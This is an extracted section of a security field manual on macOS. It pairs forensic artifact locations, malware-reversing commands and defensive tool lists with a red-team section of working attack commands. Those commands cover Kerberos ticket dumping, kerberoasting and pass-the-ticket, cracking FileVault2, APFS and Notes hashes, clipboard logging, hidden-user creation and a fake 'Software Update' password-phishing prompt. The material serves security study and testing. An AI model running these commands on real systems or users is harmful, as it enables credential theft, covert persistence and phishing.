dscl "/Active Directory/TEST/All Domains" ls /Groups
dscl "/Active Directory/TEST/All Domains" read
"/Groups/[groupname]"
LDAP:
ldapsearch -H ldap://test.local -b DC=test,DC=local
"(objectclass=group)"
ldapsearch -H ldap://test.local -b DC=test,DC=local
"(&(objectclass=group)(name=[groupname]))"
ldapsearch -H ldap://test.local -b DC=test,DC=local
"(&(objectclass=group)(name=*admin*))"
Domain Information:
dsconfigad -show
LDAP:
ldapsearch -H ldap://test.local -b DC=test,DC=local
"(objectclass=trusteddomain)"
M
M
MACOS_Defend
BLUE TEAM
FORENSICS
MacOS
Evidence Collection Order of Volatility (RFC3227)
•
Registers, cache
•
Routing table, arp cache, process table, kernel statistics,
memory
•
Temporary file systems
•
Disk
•
Remote logging and monitoring data that is relevant to the
system in question
•
Physical configuration, network topology
•
Archival media
MacOS FORENSIC/DEFENSIVE TOOLS
VENATOR
macOS tool for proactive detection
REFERENCE:
https://github.com/richiercyrus/Venator
164
https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-
detection-34055a017e56
Google Santa Process Whitelisting
Santa is a binary whitelisting/blacklisting system for macOS.
REFERENCE:
https://github.com/google/santa
KNOCK KNOCK
See what's persistently installed on your Mac. KnockKnock uncovers
persistently installed software in order to generically reveal
malware.
REFERENCE:
https://objective-see.com/products.html
LuLu
LuLu is the free, open firewall for Macs that can protect your
network connections and detect malicious activity.
REFERENCE:
https://objective-see.com/products.html
BlockBlock
BlockBlock provides continual protection by monitoring persistence
locations. Any new persistent component will trigger a BlockBlock
alert, allowing malicious items be blocked.
REFERENCE:
https://objective-see.com/products.html
Netiquette
Netiquette, a network monitor, allows one to explore all network
sockets and connections, either via an interactive UI, or from the
commandline.
REFERENCE:
https://objective-see.com/products.html
mac_apt
mac_apt is a DFIR tool to process Mac computer full disk images (or
live machines) and extract data/metadata useful for forensic
investigation.
REFERENCE:
https://github.com/ydkhatri/mac_apt
OSXCollector
The collection script runs on a potentially infected machine and
outputs a JSON file that describes the target machine. OSXCollector
gathers information from plists, SQLite databases and the local
file system.
REFERENCE:
https://github.com/Yelp/OSXCollector
REVERSING MacOS MALWARE
165
#Install Apple Command Line Tools
Tools include:
strings -string decoder
file, nm, xattr, mdls -file analysis utilities
hexdump, od, xxd -hex editors
otool -static disassembler
lldb -debugger, memory reader and dynamic disassembler
#File type the malware sample:
file malware_file
xattr -l malware_file
ls -al@ malware_file
#If signed check _CodeSignature for IoCs.
codesign -dvvvv -r - malware_file.app/
#Look for TeamIdentifier & Bundle Identifier
#Check is certificate is still valid or revoked:
spctl --verbose=4 --assess --type execute malware_file.app
#Application Bundle Enumeration
putil -p malware_file.app/Contents/Info.plist
#PageStuff & nm to look at internal structure
nm -m malware_file.app/MacOS/malware_file
pagestuff malware_file.app/MacOS/malware_file -a
#Dump Strings to a file for review
strings - malware_file > malwareStrings.txt
#Use otool to find shared library links, method names, &
disassembly
otool -L malware_file > malwareLibs.txt
otool -oV malware_file > malwareMethods.txt
otool -tV malware_file > malwareDisassembly.txt
MacOS MISC
Show System Logs
logs show > logs.txt
sudo logs collect <time> --output <file>
MacOS ARTIFACT LOCATIONS
AUTORUN LOCATIONS
Launch Agents files
/Library/LaunchAgents/*
166
"
/System/Library/LaunchAgents/*
"
%%users.homedir%%/Library/LaunchAgents/*
Launch Daemons
files
/Library/LaunchDaemons/*
"
/System/Library/LaunchDaemons/*
Startup Items file
/Library/StartupItems/*
"
/System/Library/StartupItems/*
SYSTEM LOGS
System Log files
main folder
/var/log/*
Apple System Log
/var/log/asl/*
Audit Log
/var/audit/*
Installation log
/var/log/install.log
Mac OS X utmp and
wmtp login record
file
/var/log/wtmp
"
/var/log/utmp
Mac OS X lastlog
file
/var/log/lastlog
Mac OS X 10.5 utmpx
login record file
/var/run/utmpx
Apple Unified
Logging and
Activity Tracing
/var/db/diagnostics/*.tracev3
"
/var/db/diagnostics/*/*.tracev3
"
/var/db/uuidtext/*/*
SYSTEM PREFERENCES
System Preferences
plist files
/Library/Preferences/**
Global Preferences
plist file
/Library/Preferences/.GlobalPreferences.pli
st
Login Window Info
/Library/Preferences/com.apple.loginwindow.
plist
Bluetooth
Preferences and
paierd device info
/Library/Preferences/com.apple.Bluetooth.pl
ist
Time Machine Info
/Library/Preferences/com.apple.TimeMachine.
plist
Keyboard layout
plist file
/Library/Preferences/com.apple.HIToolbox.pl
ist
System
configuration
preferences plist
file
/Library/Preferences/SystemConfiguration/pr
eferences.plist
SYSTEM
SETTINGS/INFO
OS Installation
time
/var/db/.AppleSetupDone
OS name and version
/System/Library/CoreServices/SystemVersion.
plist
167
Users Log In
Password Hash Plist
/var/db/dslocal/nodes/Default/users/*.plist
SLEEP/HYBERNATE
SWAP
Sleep Image File
/var/vm/sleepimage
Swap Files
/var/vm/swapfile#
KERNEL EXTENSIONS
Kernel extension
(.kext) files
/System/Library/Extensions/*
"
/Library/Extensions/*
SOFTWARE
INSTALLATION
Software
Installation
History
/Library/Receipts/InstallHistory.plist
Software Update
/Library/Preferences/com.apple.SoftwareUpda
te.plist
SYSTEM INFO MISC.
Local Time Zone
configuration
/etc/localtime
Mac OS X at jobs
/usr/lib/cron/jobs/*
Cron tabs
/etc/crontab
"
/usr/lib/cron/tabs/*
Periodic system
functions scripts
and configuration
/etc/defaults/periodic.conf
"
/etc/periodic.conf
"
/etc/periodic.conf.local
"
/etc/periodic/**2
"
/usr/local/etc/periodic/**2
"
/etc/daily.local/*
"
/etc/weekly.local/*
"
/etc/monthly.local/*
"
/etc/periodic/daily/*
"
/etc/periodic/weekly/*
"
/etc/periodic/monthly/*
NETWORKING
Hosts file
/etc/hosts
Remembered Wireless
Networks
/Library/Preferences/SystemConfiguration/co
m.apple.airport.preferences.plist
USER ARTIFACTS
AUTORUN
Login Items
%%users.homedir%%/Library/Preferences/com.a
pple.loginitems.plist
USERS
Users directories
in /Users
/Users/*
USER DIRECTORIES
Downloads Directory
%%users.homedir%%/Downloads/*
168
Documents Directory
%%users.homedir%%/Documents/*
Music Directory
%%users.homedir%%/Music/*
Desktop Directory
%%users.homedir%%/Desktop/*
Library Directory
%%users.homedir%%/Library/*
Movies Directory
%%users.homedir%%/Movies/*
Pictures Directory
%%users.homedir%%/Pictures/*
Public Directory
%%users.homedir%%/Public/*
Applications
/Applications/*
PREFERENCES
User preferences
directory
%%users.homedir%%/Library/Preferences/*
iCloud user
preferences
%%users.homedir%%/Library/Preferences/Mobil
eMeAccounts.plist
Sidebar Lists
Preferences
%%users.homedir%%/Library/Preferences/com.a
pple.sidebarlists.plist
"
%%users.homedir%%/Preferences/com.apple.sid
ebarlists.plist
User Global
Preferences
%%users.homedir%%/Library/Preferences/.Glob
alPreferences.plist
Dock database
%%users.homedir%%/Library/Preferences/com.a
pple.Dock.plist
Attached iDevices
%%users.homedir%%/Library/Preferences/com.a
pple.iPod.plist
Quarantine Event
Database
%%users.homedir%%/Library/Preferences/com.a
pple.LaunchServices.QuarantineEvents
"
%%users.homedir%%/Library/Preferences/com.a
pple.LaunchServices.QuarantineEventsV2
LOGS
User and
Applications Logs
Directory
%%users.homedir%%/Library/Logs/*
Misc. Logs
/Library/Logs/*
Terminal Commands
History
%%users.homedir%%/.bash_history
Terminal Commands
Sessions
%%users.homedir%%/.bash_sessions/*
USER'S ACCOUNTS
User's Social
Accounts
%%users.homedir%%/Library/Accounts/Accounts
3.sqlite
iDEVICE BACKUPS
iOS device backups
directory
%%users.homedir%%/Library/Application
Support/MobileSync/Backup/*
iOS device backup
information
%%users.homedir%%/Library/Application
Support/MobileSync/Backup/*/info.plist
iOS device backup
apps information
%%users.homedir%%/Library/Application
Support/MobileSync/Backup/*/Manifest.plist
iOS device backup
files information
%%users.homedir%%/Library/Application
Support/MobileSync/Backup/*/Manifest.mbdb
iOS device backup
status information
%%users.homedir%%/Library/Application
Support/MobileSync/Backup/*/Status.plist
169
RECENT ITEMS
Recent Items
%%users.homedir%%/Library/Preferences/com.a
pple.recentitems.plist
Recent Items
application
specific
%%users.homedir%%/Library/Preferences/*LSSh
aredFileList.plist
MISC
Application Support
Directory
%%users.homedir%%/Library/Application
Support/*
Keychain Directory
%%users.homedir%%/Library/Keychains/*
User Trash Folder
%%users.homedir%%/.Trash/*
macOS
NotificationCenter
database
/private/var/folders/[a-z][0-
9]/*/0/com.apple.notificationcenter/db2/db
"
/private/var/folders/[a-z][0-
9]/*/0/com.apple.notificationcenter/db/db
"
%%users.homedir%%/Library/Application
Support/NotificationCenter/*.db
KnowledgeC User and
Application usage
database
%%users.homedir%%/Library/Application
Support/Knowledge/knowledgeC.db
"
/private/var/db/CoreDuet/Knowledge/knowledg
eC.db
APPLICATIONS
ARTIFACTS
iCLOUD
iCloud Accounts
%%users.homedir%%/Library/Application
Support/iCloud/Accounts/*
SKYPE
Skype Directory
%%users.homedir%%/Library/Application
Support/Skype/*
Skype User profile
%%users.homedir%%/Library/Application
Support/Skype/*/*
Skype Preferences
and Recent Searches
%%users.homedir%%/Library/Preferences/com.s
kype.skype.plist
Main Skype database
%%users.homedir%%/Library/Application
Support/Skype/*/Main.db
Chat Sync Directory
%%users.homedir%%/Library/Application
Support/Skype/*/chatsync/*
SAFARI
Safari Main Folder
%%users.homedir%%/Library/Safari/*
Safari Bookmarks
%%users.homedir%%/Library/Safari/Bookmarks.
plist
Safari Downloads
%%users.homedir%%/Library/Safari/Downloads.
plist
Safari Installed
Extensions
%%users.homedir%%/Library/Safari/Extensions
/Extensions.plist
"
%%users.homedir%%/Library/Safari/Extensions
/*
170
Safari History
%%users.homedir%%/Library/Safari/History.pl
ist
"
%%users.homedir%%/Library/Safari/History.db
Safari History
Index
%%users.homedir%%/Library/Safari/HistoryInd
ex.sk
Safari Last Session
%%users.homedir%%/Library/Safari/LastSessio
n.plist
Safari Local
Storage Directory
%%users.homedir%%/Library/Safari/LocalStora
ge/*
Safari Local
Storage Database
%%users.homedir%%/Library/Safari/LocalStora
ge/StorageTracker.db
Safari Top Sites
%%users.homedir%%/Library/Safari/TopSites.p
list
Safari Webpage
Icons Database
%%users.homedir%%/Library/Safari/WebpageIco
ns.db
Safari Webpage
Databases
%%users.homedir%%/Library/Safari/Databases/
*
Safari Cache
Directory
%%users.homedir%%/Library/Caches/com.apple.
Safari/*
Safari Cache
%%users.homedir%%/Library/Caches/com.apple.
Safari/Cache.db
Safari Extensions
Cache
%%users.homedir%%/Library/Caches/com.apple.
Safari/Extensions/*
Safari Webpage
Previews
%%users.homedir%%/Library/Caches/com.apple.
Safari/Webpage Previews/*
Safari Cookies
%%users.homedir%%/Library/Cookies/Cookies.b
inarycookies
Safari Preferences
and Search terms
%%users.homedir%%/Library/Preferences/com.a
pple.Safari.plist
Safari Extension
Preferences
%%users.homedir%%/Library/Preferences/com.a
pple.Safari.Extensions.plist
Safari Bookmark
Cache
%%users.homedir%%/Library/Caches/Metadata/S
afari/Bookmarks/*
Safari History
Cache
%%users.homedir%%/Library/Caches/Metadata/S
afari/History/*
Safari Temporary
Images
%%users.homedir%%/Library/Caches/com.apple.
Safari/fsCachedData/*
FIREFOX
Firefox Directory
%%users.homedir%%/Library/Application
Support/Firefox/*
Firefox Profiles
%%users.homedir%%/Library/Application
Support/Firefox/Profiles/*
Firefox Cookies
%%users.homedir%%/Library/Application
Support/Firefox/Profiles/*/Cookies.sqlite
Firefox Downloads
%%users.homedir%%/Library/Application
Support/Firefox/Profiles/*/Downloads.sqlite
Firefox Form
History
%%users.homedir%%/Library/Application
Support/Firefox/Profiles/*/Formhistory.sqli
te
171
Firefox History
%%users.homedir%%/Library/Application
Support/Firefox/Profiles/*/Places.sqlite
Firefox Signon
%%users.homedir%%/Library/Application
Support/Firefox/Profiles/*/signons.sqlite
Firefox Key
%%users.homedir%%/Library/Application
Support/Firefox/Profiles/*/key3.db
Firefox Permissions
%%users.homedir%%/Library/Application
Support/Firefox/Profiles/*/permissions.sqli
te
Firefox Add-ons
%%users.homedir%%/Library/Application
Support/Firefox/Profiles/*/addons.sqlite
"
%%users.homedir%%/Library/Application
Support/Firefox/Profiles/*/addons.json
Firefox Extension
%%users.homedir%%/Library/Application
Support/Firefox/Profiles/*/extensions.sqlit
e
"
%%users.homedir%%/Library/Application
Support/Firefox/Profiles/*/extensions.json
Firefox Pages
Settings
%%users.homedir%%/Library/Application
Support/Firefox/Profiles/*/content-
prefs.sqlite
Firefox Cache
%%users.homedir%%/Library/Caches/Firefox/Pr
ofiles/*.default/Cache/*
"
%%users.homedir%%/Library/Caches/Firefox/Pr
ofiles/*.default/cache2/*
"
%%users.homedir%%/Library/Caches/Firefox/Pr
ofiles/*.default/cache2/doomed/*
"
%%users.homedir%%/Library/Caches/Firefox/Pr
ofiles/*.default/cache2/entries/*
CHROME
Chrome Main Folder
%%users.homedir%%/Library/Application
Support/Google/Chrome/*
Chrome Default
profile
%%users.homedir%%/Library/Application
Support/Google/Chrome/default/*
Chrome History
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/History
"
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/Archived History
"
%%users.homedir%%/Library/Application
Support/Google/Chrome Canary/*/Archived
History
"
%%users.homedir%%/Library/Application
Support/Google/Chrome Canary/*/History
Chrome Bookmarks
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/Bookmarks
Chrome Cookies
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/Cookies
Chrome Local
Storage
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/Local Storage/*
172
Chrome Login Data
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/Login Data
Chrome Top Sites
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/Top Sites
Chrome Web Data
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/Web Data
Chrome Extensions
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/databases/*
"
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/databases/Databases
.db
"
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/Extensions/**10
"
%%users.homedir%%/Library/Application
Support/Google/Chrome
Canary/*/Extensions/**{10}
Chrome Extension
Activity
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/Extension Activity
"
%%users.homedir%%/Library/Application
Support/Google/Chrome Canary/*/Extension
Activity
Chrome Cache
%%users.homedir%%/Library/Caches/com.google
.Chrome/Cache.db
"
%%users.homedir%%/Library/Caches/Google/Chr
ome/*/Cache/*
"
%%users.homedir%%/Library/Caches/Google/Chr
ome Canary/*/Cache/*
Chrome Media Cache
%%users.homedir%%/Library/Caches/Google/Chr
ome/*/Media Cache/*
"
%%users.homedir%%/Library/Caches/Google/Chr
ome Canary/*/Media Cache/*
Chrome Application
Cache
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/Application
Cache/Cache/*
"
%%users.homedir%%/Library/Application
Support/Google/Chrome Canary/*/Application
Cache/Cache/*
Chrome GPU Cache
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/GPUCache/*
"
%%users.homedir%%/Library/Application
Support/Google/Chrome Canary/*/GPUCache/*
Chrome PNaCl
translation cache
%%users.homedir%%/Library/Caches/Google/Chr
ome/PnaclTranslationCache/*
"
%%users.homedir%%/Library/Caches/Google/Chr
ome Canary/PnaclTranslationCache/*
Chrome Preferences
Files
%%users.homedir%%/Library/Preferences/com.g
oogle.Chrome.plist
"
%%users.homedir%%/Library/Application
Support/Google/Chrome/*/Preferences
173
"
%%users.homedir%%/Library/Application
Support/Google/Chrome Canary/*/Preferences
CHROMIUM
Chromium History
%%users.homedir%%/Library/Application
Support/Chromium/*/Archived History
"
%%users.homedir%%/Library/Application
Support/Chromium/*/History
Chromium Cache
%%users.homedir%%/Caches/Chromium/*/Cache/*
"
%%users.homedir%%/Library/Caches/Chromium/*
/Cache/*
Chromium
Application Cache
%%users.homedir%%/Library/Application
Support/Chromium/*/Application
Cache/Cache/*
Chromium Media
Cache
%%users.homedir%%/Library/Caches/Chromium/*
/Media Cache/*
Chromium GPU Cache
%%users.homedir%%/Library/Application
Support/Chromium/*/GPUCache/*
Chromium PNaCl
translation cache
%%users.homedir%%/Library/Caches/Chromium/P
naclTranslationCache/*
Chromium
Preferences
%%users.homedir%%/Library/Application
Support/Chromium/*/Preferences
Chromium Extensions
%%users.homedir%%/Library/Application
Support/Chromium/*/Extensions/**10
Chromium Extensions
Activity
%%users.homedir%%/Library/Application
Support/Chromium/*/Extension Activity
MAIL
Mail Main Folder
%%users.homedir%%/Library/Mail/V[0-9]/*
Mail Mailbox
Directory
%%users.homedir%%/Library/Mail/V[0-
9]/Mailboxes/*
Mail IMAP Synched
Mailboxes
%%users.homedir%%/Library/Mail/V[0-9]/IMAP-
<name@address>/*
Mail POP Synched
Mailboxes
%%users.homedir%%/Library/Mail/V[0-9]/POP-
<name@address>/*
Mail BackupTOC
%%users.homedir%%/Library/Mail/V[0-
9]/MailData/BackupTOC.plist
Mail Envelope Index
%%users.homedir%%/Library/Mail/V[0-
9]/MailData/Envelope Index
Mail Opened
Attachments
%%users.homedir%%/Library/Mail/V[0-
9]/MailData/OpenedAttachmentsV2.plist
Mail Signatures by
Account
%%users.homedir%%/Library/Mail/V[0-
9]/MailData/Signatures/*.plist
Mail Downloads
Directory
%%users.homedir%%/Library/Containers/com.ap
ple.mail/Data/Library/Mail Downloads/*
Mail Preferences
%%users.homedir%%/Library/Preferences/com.a
pple.Mail.plist
Mail Recent
Contacts
%%users.homedir%%/Library/Application
Support/AddressBook/MailRecents-v4.abcdmr
Mail Accounts
%%users.homedir%%/Library/Mail/V[0-
9]/MailData/Accounts.plist
174
REFERENCE:
https://www.sentinelone.com/blog/how-to-reverse-macos-malware-part-one/
https://www.sentinelone.com/blog/how-to-reverse-macos-malware-part-two/
https://github.com/meirwah/awesome-incident-response#osx-evidence-
collection
https://github.com/Cugu/awesome-forensics
https://docs.google.com/spreadsheets/d/1X2Hu0NE2ptdRj023OVWIGp5dqZOw-
CfxHLOW_GNGpX8/edit#gid=1317205466
https://www.forensicswiki.org/wiki/Mac_OS_X
https://objective-see.com/downloads/MacMalware_2019.pdf
https://github.com/thomasareed/presentations/blob/master/ISS%20-%20Incident
%20response%20on%20macOS.pdf
https://github.com/cedowens/Presentations/blob/master/ACoD_2020_macOS_Post_
Infection_Analysis_.pdf
https://www.hopperapp.com/
https://github.com/pstirparo/mac4n6
https://www.jaiminton.com/cheatsheet/DFIR/#macos-cheat-sheet
M
M
MACOS_Exploit
RED TEAM
EXPLOITATION
MacOS
macOS SURVEY
SYSTEM_PROFILER Everything about your MacOS Setup
system_profiler > ~/Desktop/system_profile.txt
Show OS Build
sw_vers
Cat OS Build
cat /System/Library/CoreServices/SystemVersion.plist
Show System Software Version
sw_vers -productVersion
Show CPU Brand String
sysctl -n machdep.cpu.brand_string
FileVault Status
fdesetup status
List All Hardware Ports
networksetup -listallhardwareports
Generate Advanced System and Performance Report
sudo sysdiagnose -f ~/Desktop/
175
Display Status of Loaded Kernel Extensions
sudo kextstat -l
Get Password Policy
pwpolicy getaccountpolicies
Enumerate Groups
groups
Cached Kerberos Tickets (if present)
klist
klist -c <cache>
Enrolled in MDM Solution
sudo /usr/bin/profiles status -type enrollment
LSREGISTER-Paths are searched for applications to register with the
Launch Service database.
/System/Library/Frameworks/CoreServices.framework/Frameworks/Launch
Services.framework/Support/lsregister -dump
List all packages and apps install history
cat /Library/Receipts/InstallHistory.plist
ls -lart /private/var/db/receipts/
List All Apps Downloaded from App Store
# Via Spotlight
mdfind kMDItemAppStoreHasReceipt=1
Show All Attached Disks and Partitions
diskutil list
Run a wireless network scan:
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Cur
rent/Resources/airport -s
Show Current SSID:
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Cur
rent/Resources/airport -I | awk '/ SSID/ {print substr($0,
index($0, $2))}'
Show WiFi Connection History:
defaults read
/Library/Preferences/SystemConfiguration/com.apple.airport.preferen
ces | grep LastConnected -A 7
Bluetooth Status
176
defaults read /Library/Preferences/com.apple.Bluetooth
ControllerPowerState
Show Memory Statistics
# One time
vm_stat
# Table of data, repeat 10 times total, 1 second wait between each
poll
vm_stat -c 10 1
macOS ENUMERATION
DNS-SD ENUMERATION ON LOCAL NETWORK
Printer Services Example
#Browse local network for services:
dns-sd -B _services._dns-sd._udp local.
#Locate devices serving printers services:
dns-sd -B _ipp._tcp local.
#Lookup information about device:
dns-sd -L "Brother HL-L2350DW series" _ipp._tcp local.
#Lookup IP information about host:
dns-sd -Gv4v6 BRW105BAD4B6AD6.local
SMB Services Example
#Browse local network for services:
dns-sd -B _services._dns-sd._udp local.
#Locate devices serving SMB services:
dns-sd -B _smb._tcp local.
#Lookup information about device:
dns-sd -L "TimeCapsule" _smb._tcp local.
#Lookup IP information about host:
dns-sd -Gv4v6 TimeCapsule.local
IPPFIND Enumerate/Find Local Printers
#Locate printers on local network
ippfind
#Enumerate hostnames for printers
ippfind _ipp._tcp,_universal --exec echo '{service_hostname}' \;
#Advanced enumeration of printers info:
ippfind _ipp._tcp,_universal --exec dns-sd -G v4
'{service_hostname}' \;
Use Bonjour to locate other AFP services on network
dns-sd -B _afpovertcp._tcp
Active Directory Enumeration
dscl "/Active Directory/<domain>/All Domains" ls /Computers
dscl "/Active Directory/<domain>/All Domains" ls /Users
177
dscl "/Active Directory/<domain>/All Domains" read
/Users/<username>
Enumerate Basic Active Directory info for user
dscl . cat /Users/<username>
List Local Accounts with Admin rights
dscl . read /Groups/admin
Show domain info and admin AD groups
dsconfigad -show
Enumerate Users and Groups and Admins
dscl . list /Groups
dscl . list /Users
dscl . list /Users | grep -v '_'
dscacheutil -q group
dscacheutil -q group -a gid 80
dscacheutil -q user
List all profiles for user in Open Directory
dscl -u <ADMIN_USER> -P <PASS> <OD_Server> profilelist
/LDAPv3/127.0.0.1/Users/<USER>
BITFROST (Kerberos on macOS)
Goal of the project is to enable better security testing around
Kerberos on macOS devices using native APIs without requiring any
other framework or packages on the target.
LIST
Loop through all of the credential caches in memory and give basic
information about each cache and each entry within.
bitfrost -action list
DUMP TICKETS
Iterate through the default credential cache.
bitfrost -action dump -source tickets
DUMP KEYTABS
Attempt to dump information from the default keytab
(/etc/krb5.keytab) which is only readable by root.
bitfrost -action dump -source keytab
ASKHASH
Compute the necessary hashes used to request TGTs and decrypt
responses. This command requires the plaintext password
**Supply a base64 encoded version of the password with -bpassword
178
bifrost -action askhash -username lab_admin -domain lab.local -
bpassword YWJjMTIzISEh
ASKTGT
Take a plaintext password, a hash, or a keytab entry and request a
TGT from the DC.
#With Base64 Password
bifrost -action asktgt -username lab_admin -domain lab.local -
bpassword YWJjMTIzISEh
#With Hash
bifrost -action asktgt -username lab_admin -domain lab.local -
enctype aes256 -hash
2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 -
tgtEnctype rc4
#With Keytab
bifrost -action asktgt -username lab_admin -domain lab.local -
enctype aes256 -keytab test
DESCRIBE
Command will parse out the information of a Kirbi file. You need to
supply -ticket [base64 of Kirbi ticket]
bifrost -action describe -ticket doIFIDCCBRygBgIEAA<...snip...>Uw=
ASKTGS
Command will ask the KDC for a service ticket based on a supplied
TGT. You need to supply -ticket [base64 of kirbi TGT] and -service
[spn,spn,spn]
bifrost -action asktgs -ticket doIFIDC<...snip...>Uw= -service
cifs/dc1-lab.lab.local,host/dc1-lab.lab.local
KERBEROASTING
Want service ticket to be rc4 and something more crackable, specify
the -kerberoast true
bifrost -action asktgs -ticket doIF<...snip...>QUw= -service
host/dc1-lab.lab.local -kerberoast true
PTT
Command takes a ticket (TGT or service ticket) and imports it to a
specified credential cache or creates a new credential cache.
bifrost -action ptt -cache new -ticket doI<...snip...>QUw=
REFERENCE:
https://github.com/its-a-feature/bifrost
https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f
Dylib Hijacking
By abusing various features and undocumented aspects of OS X’s
dynamic loader, attackers need only to ‘plant’ specially crafted
179
dynamic libraries to have malicious code automatically loaded into
vulnerable applications.
REFERENCE:
https://objective-see.com/products/dhs.html
https://github.com/synack/DylibHijack
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x
https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEF%
20CON%2023%20-%20Patrick-Wardle-DLL-Hijacking-on-OSX-UPDATED.pdf
http://lockboxx.blogspot.com/2019/10/macos-red-teaming-211-dylib-
hijacking.html
https://theevilbit.github.io/posts/getting_root_with_benign_appstore_apps/
AIRSPY (AIRDROP EXPLORATION)
AirSpy is a tool for exploring Apple's AirDrop protocol
implementation on i/macOS, from the server's perspective. Dumps
requests and responses along with a linear code coverage trace of
the code processing each request.
REFERENCE:
https://github.com/nowsecure/airspy
https://arxiv.org/pdf/1808.03156.pdf
Crack Apple Secure Notes
STEP 1: Copy sqlite ‘NotesV#.storedata’ from target located at:
/Users/<username>/Library/Containers/com.apple.Notes/Data/Library/N
otes/
#Notes Version based on OS
Mountain Lion = NotesV1.storedata
Mavericks = NotesV2.storedata
Yosemite = NotesV4.storedata
El Capitan & Sierra = NotesV6.storedata
High Sierra = NotesV7.storedata
STEP 2: Download John’s ‘applenotes2john’ and point it at the
sqlite database. Note this script also extracts the hints if
present in the database and appends them to the end of the hash
(Example ‘company logo?’):
https://github.com/koboi137/john/blob/master/applenotes2john.py
applenotes2john.py NotesV#.storedata
NotesV#.storedata:$ASN$*4*20000*caff9d98b629cad13d54f5f3cbae2b85*79
270514692c7a9d971a1ab6f6d22ba42c0514c29408c998:::::company logo?
STEP 3: Format and load hash into John (--format=notes-opencl) or
Hashcat (-m 16200) to crack.
Crack Apple FileVault2 Disk Encryption
180
STEP 1: Use dd to extract image of your FileVault2 encrypted disk:
sudo dd if=/dev/disk2 of=/path/to/filevault_image.dd
conv=noerror,sync
STEP 2: Install fvde2john from https://github.com/kholia/fvde2john
STEP 3: Use hdiutil to attach to dd image:
hdiutil attach -imagekey diskimage-class=CRawDiskImage -nomount
/Volumes/path/to/filevault_image.dd
STEP 4: Obtain the EncryptedRoot.plist.wipekey from “Recovery HD”
partition
https://github.com/libyal/libfvde/wiki/Mounting#obtaining-
encryptedrootplistwipekey
mmls /Volumes/path/to/filevault_image.dd
fls -r -o 50480752 /Volumes/path/to/filevault_image.dd | grep -i
EncryptedRoot
+++++ r/r 130: EncryptedRoot.plist.wipekey
icat -o 50480752 image.raw 130 > EncryptedRoot.plist.wipekey
STEP 5: Verify and note the disk mount point for Apple_Corestorage:
diskutil list
…/dev/disk3s2 Apple_Corestorage
STEP 6: Use EncryptedRoot.plist.wipekey with fvdeinfo to retrieve
the hash:
sudo fvdetools/fvdeinfo -e EncryptedRoot.plist.wipekey -p blahblah
/dev/disk3s2
$fvde$1$16$96836044060108438487434858307513$41000$e9acbb4bc6dafb74a
adb72c576fecf69c2ad45ccd4776d76
STEP 7: Load this hash into JTR or Hashcat to crack
john --format=FVDE-opencl --wordlist=dict.txt hash.txt
hashcat –a 0 –m 16700 hash.txt dict.txt
Crack Apple File System MacOS up to 10.13
STEP 1: Install apfs2john per the github instructions located at:
https://github.com/kholia/apfs2john
STEP 2: Point ‘apfs2john’ at the your device or disk image:
sudo ./bin/apfs-dump-quick /dev/sdc1 outfile.txt
sudo ./bin/apfs-dump-quick image.raw outfile.txt
181
!!Consider using ‘kpartx’ for handling disk images per Kholia
recommendations: https://github.com/kholia/fvde2john
macOS MISC
Dump Clipboard Contents Continuously
while true; do echo -e "\n$(pbpaste)" >>/tmp/clipboard.txt && sleep
5; done
Add a hidden user on MacOS
sudo dscl . -create /Users/#{user_name} UniqueID 333
Extract All Certificates
security find-certificate -a -p
Locate Bookmark Database for Firefox & Chrome
#Write out to /tmp file:
find / -path "*/Firefox/Profiles/*/places.sqlite" -exec echo {} >>
/tmp/firefox-bookmarks.txt \;
find / -path "*/Google/Chrome/*/Bookmarks" -exec echo {} >>
/tmp/chrome-bookmarks.txt \;
Locate Browser History: Safari, Chrome, Firefox
Parse browser history:
https://github.com/cedowens/macOS-browserhist-
parser/tree/master/parse-browser-history
#Safari History
~/Library/Safari/History.db
#Chrome History
~/Library/Application Support/Google/Chrome/Default/History
#Firefox History
~/Library/Application Support/Profiles<random>.default-
release/places.sqlite
Prompt User for Password (Local Phishing)
osascript -e 'tell app "System Preferences" to activate' -e 'tell
app "System Preferences" to activate' -e 'tell app "System
Preferences" to display dialog "Software Update requires that you
type your password to apply changes." & return & return default
answer "" with icon 1 with hidden answer with title "Software
Update"'
C2 TOOLS
PUPY
Pupy is a cross-platform, multi function RAT and post-exploitation
tool mainly written in python. It features an all-in-memory
execution guideline and leaves a very low footprint.
182
https://github.com/n1nj4sec/pupy
APFELL
A cross-platform, post-exploit, red teaming framework built with
python3, docker, docker-compose, and a web browser UI. It's
designed to provide a collaborative and user friendly interface for
operators, managers, and reporting throughout mac and linux based
red teaming.
https://github.com/its-a-feature/Apfell
M
M
MACOS_Hardening
BLUE TEAM
CONFIGURATION
MacOS
MacOS Hardening Guide
https://github.com/ernw/hardening/blob/master/operating_system/osx/
10.14/ERNW_Hardening_OS_X_Mojave.md
M
M
MACOS_Ports
ALL
INFORMATIONAL
MacOS
Historical OSX/macOS services and ports for all versions.
Port
Proto
App Proto
System Service Name
7
TCP/UDP
echo
—
20
TCP
ftp-data
—
21
TCP
ftp
—
22
TCP
ssh
Xcode Server ( Git+SSH;
SVN+SSH)
23
TCP
telnet
—
25
TCP
smtp
Mail
53
TCP/UDP
domain
—
67
UDP
bootps
NetBoot via DHCP
68
UDP
bootpc
NetBoot via DHCP
69
UDP
tftp
—
79
TCP
finger
—
80
TCP
http
World Wide Web
88
TCP
kerberos
Kerberos, Screen Sharing
authentication
106
TCP
3com-tsmux
macOS Server Password
Server
110
TCP
